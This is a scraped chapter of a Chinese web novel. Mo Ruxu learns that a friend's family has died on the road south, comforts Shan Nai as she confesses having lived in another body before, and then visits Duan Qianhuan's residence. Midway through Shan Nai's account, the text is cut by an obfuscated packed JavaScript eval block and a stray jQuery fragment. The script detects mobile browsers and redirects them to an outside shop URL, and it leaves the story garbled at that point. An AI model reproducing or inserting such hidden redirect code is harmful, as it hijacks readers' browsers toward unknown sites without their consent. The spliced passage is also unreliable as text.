53. 第五十三章
    这日天晴,莫如许躺在美人椅上,手中拿着竹简,看起来是一副认真看书的样子,但仔细看去,便发现她的眼神发直,明显注意力没在这上面,思维发散到旁的地方了。

    段千欢已经好几日未来找过她,不仅如此,连带着张华也几日未来,雪琪在一旁闷闷不乐,显然心中记挂着某人,蹲在廊沿边,抱着脸唉声叹气的,莫如许被这声音搞得心思不宁的。

    “你在这儿唉声叹气个什么劲,白让小姐听了心烦。”茹棠看不过雪琪的样子,放下手中的针线活,走到雪琪身边拍了她一下,将她从地上拉了起来,脸色带着嗔怪,像是在怨雪琪将百宜居原本和乐的氛围破坏掉了似的。

    只是这便冤枉了雪琪,这同她的确没甚关系,她能感知到的不过是小姐这几日心情越发不好,看书看着看着便发起了呆,张华这人也没来,就连段世子也没了踪影,雪琪不是迟钝的人,自然是知道段世子同她们家小姐闹了矛盾。

    她在这愁眉苦脸的原因也不全是思念心中的那人,更多的是为了她们家小姐忧愁,她们不知发生什么,好端端的,怎么突然便变成了这样,雪琪有心想要改变,但也不知道该向哪方用力。

    因此被茹棠拽起来她脸色臭臭的:“我心烦?我当然心烦了,这几日我们整个百宜居不都是心烦的嘛,只有你,还是原本的模样,一点都没有为小姐着急,世子好久没来了,这分明就是闹了矛盾,我一个小丫鬟帮不上什么忙,除了在这唉声叹气,我又能干什么?”

    她这属实是迁怒茹棠了,茹棠白白受了一番指责,自然是心中不愿的,想要说些什么反驳,便听到身后有动静,像是莫如许站起了身,回头一看,果真是莫如许,她听到了雪琪的话,没再装出看书的模样,直接从美人椅上起来了。

    “小姐,小姐!有信!”这时一个头戴青帽的小厮跑进了百宜居的门,手中摇着一封信纸,对着莫如许的方向大声呼喊:“不好了,小姐,翟小姐出事了!”

    快马加鞭传来的信封中,写着翟絮柳死于疟疾,连带着翟家父母全都死于这场天灾,在前往南方的路上,不治而亡,翟家老小,全都葬身于荒野。

    翟絮柳看到这信上的内容,久久没有回神,也没再说出一句话,甚至连他们死后的尸首在哪里都没得问。

    方才还在吵闹的茹棠于雪琪对视,均看出对方眼神中的震惊以及其中不可忽视的复杂,她们无声地看着莫如许失神的模样,没再开口说话,也不知该说些什么才能安慰到莫如许。

    似乎到了一定年纪,总要做出个选择,是选择这个,还是选择那个,总有事是不能两全其美的,但求问心无愧。

    莫如许原本想去找段千欢的,但是从白天到了晚上,她都没出百宜居的门。

    她想,或许有时就是没办法走到最后的,就是要在现实与理想之中做出选择。

    莫如许心中燃着一把火,这是一束名为仇恨的火焰。

    她托人去问了赵阑珊,想要知道翟絮柳死亡的真正缘由,赵阑珊告诉了她,不是莫如许想的那样,翟絮柳的死亡并非出于顾家的刻意指引,这次是真的意外。

    顾家并不想赶尽杀绝,只是想着让翟絮柳排除去京城便可,只是他们这样想,但毕竟顾家权势在那里,有时候不用动手,单是一个意思便足以让许多人为其效命,去讨好顾家。

    这次也是如此,顾家虽未说要赶尽杀绝,但翟絮柳还是活不了。

    多少人想要拿着翟絮柳的人头做人情,莫如许不乏悔恨地想,当时她怎么就没想到呢,为何就是没想到会有这种事情发生,为何不派些人在背后保护她呢?

    可是一切都晚了,是她的错,也是旁人的错。

    只是令她稍微讶异的是,即使如此,她也不觉得意外,甚至很平静地接受了这个结果。

    消息传出的时候,并未造成多大的影响,没人在意,无人关注,只是一步废弃罢了,引不起旁人的注意,但是山奈来找了莫如许。

    她看起来很不好,出乎意料地不好,像是几夜未睡瞧起来有着几分憔悴,情绪低落,看到莫如许的那一刻,莫如许清楚看到她眼中那浓重的悲伤,浓的惊人。

    “他们……他们的尸首能找到么?”开口的第一句,山奈便这样问道。

    莫如许愣了一瞬,张口想说些什么,但是却什么话都说不出来,嘴唇像是被某件东西黏在一起,没法子再张开。

    山奈苦笑一声,从莫如许身边经过,而后直接蹲在院门前,直接就地坐在冰冷的青砖之上,这一瞬,她像是没了任何力气,浑身软绵绵的滑到了地面。

    莫如许沉默地看着她,两人都没有说话。

    “我会派人去找,……而后让他们落地归根。”莫如许最后还是开口,声音在这寂静的院子里,显得清幽,像是一个鬼魂在午夜中低喃。

    山奈停了几秒,而后点头,“谢谢你。”

    她抬头看向天上灰蒙蒙的天,今日是个阴天,无雨雪,却寒风凌凌。

    “我其实算起来,死了两次……”山奈开口,声音很快散在空中,她继续道:“第一次,是个离家出走的小姐,但我本身的性格同这个小姐相差太大,……我不敢回去找原身的父母,我那时被困在的深山之中,这山上还有土匪。”

    她像是想到什么似的,突然笑了一下,“不知你信不信,在这山上,我竟然还遇到了一个大小姐,……那是我第一次在这个世界上遇到活人,还是古书上才能出现的大家闺秀,那时我自己的性命也才堪堪保住,但我不知为何,看到她那双强装镇定的脆弱眼睛,我突然改变了主意,我带着她在那座山头偷偷地生活。”

    莫如许猛地扭头去看山奈,眉头慢慢皱了起来,但她没有问话,山奈继续道:

    “后来……不说也罢,我连那座山头都没出去,便死了,我连在山中救的那个大小姐是生是死都不知道。”说到这里,她声音又低了几度,那音量更像是自言自语,“……也不知她有没有或者逃出那座山。”

    “后来我再次

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182766|144221||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    醒来,便是在这具身体里了,后面发生了什么,我都告诉了你。”

    山奈抬头看莫如许,看到她眼中的复杂,又笑了,“我就知道你会惊讶,但你肯定能够接受,……也只有你能够接受,我也只能同你讲。”

    “先前在城门中遇到我,的确不是巧合,我是特地去送翟絮柳的,虽然她……不,她肯定不记得我,但我总觉得,我该去送送她,或者说,我总觉得我对她们一家怀有某种责任,这种感觉我解释不清,像是只要我占据了这个身体,那么原身身上的所有责任,我都有责任去承担。”

    山奈移开了同莫如许对视的视线,看向空无一物的虚空:“他们同我没啥关系,讲真的,真的同我没甚干系,原身感受到的愧疚虽然我能同感,但从小便同翟家人生活在一起的不是我,我只是一个半途来的异乡客。”

    她的语音颤抖,似乎抑制不住某种感伤的情绪:“但我没办法,我……我方才听到那个消息,我控制不住自己……”

    莫如许没让山奈将头埋在膝盖上,靠近山奈轻轻抱住了她的身体,将她整个人笼罩在她的臂弯之下,头同山奈的头挨在一起。

    莫如许无声安慰着已经啜泣起来的山奈,两人在寒风中拥抱,像是两只紧靠在一处互相取暖的倦鸟。

    “没关系,没关系的,……你离开京城,亲自送他们回家,他们会原谅你的,没关系的……”莫如许听到自己不断地重复这句话,双手撑在山奈的背后,一点一点地抚平山奈的焦灼与不安崩溃。

    *

    莫如许去找了段千欢。

    刻着“国公府”三个大字的牌匾这么多年来还是这副模样,那苍劲的字体隔着距离便能看到那股不屑天地的洒脱,莫隔着许久的时光,莫如许抬头看这熟悉的牌匾,一时竟有些胆怯。

    在府门外整理好心情,她这才抬首叩响了国公府的门。

    门未响够三声便被人从内部打开了,走出来的是一个年老的管家,莫如许看着陌生,不是故人,那人对着莫如许略使一礼,低沉的声音响在耳边:“莫小姐来了,世子已经等了许久了,我带您过去。”

    说完便扭过身去向府内走去,莫如许看他离开的背影,再次抬头看了一眼上方的牌匾,这才抬脚踏入了国公府。

    这里面同记忆中的模样没什么大的变化,算起来,莫如许已经很多年未来到国公府看了,即使是段千欢回到京城的这段日子,一是因为俗规不允许,二便是莫如许也说不清道不明的原因,她不敢。

    国公府到底比莫府气派,直走了许久,那个管家才止了步,回头看向莫如许,对着她道:“就是这里了,小姐进去吧,世子在里面等着您,奴先告退了。”

    莫如许站在一个院落面前,这是熟悉的院落,是段千欢的居所,莫如许记得。

    进入居所内部的木门开着,这里像是提前布置过,莫如许在这里看不到一个人影,国公府的人不知都去了哪里。

    大门开着,像是对莫如许无声的邀请。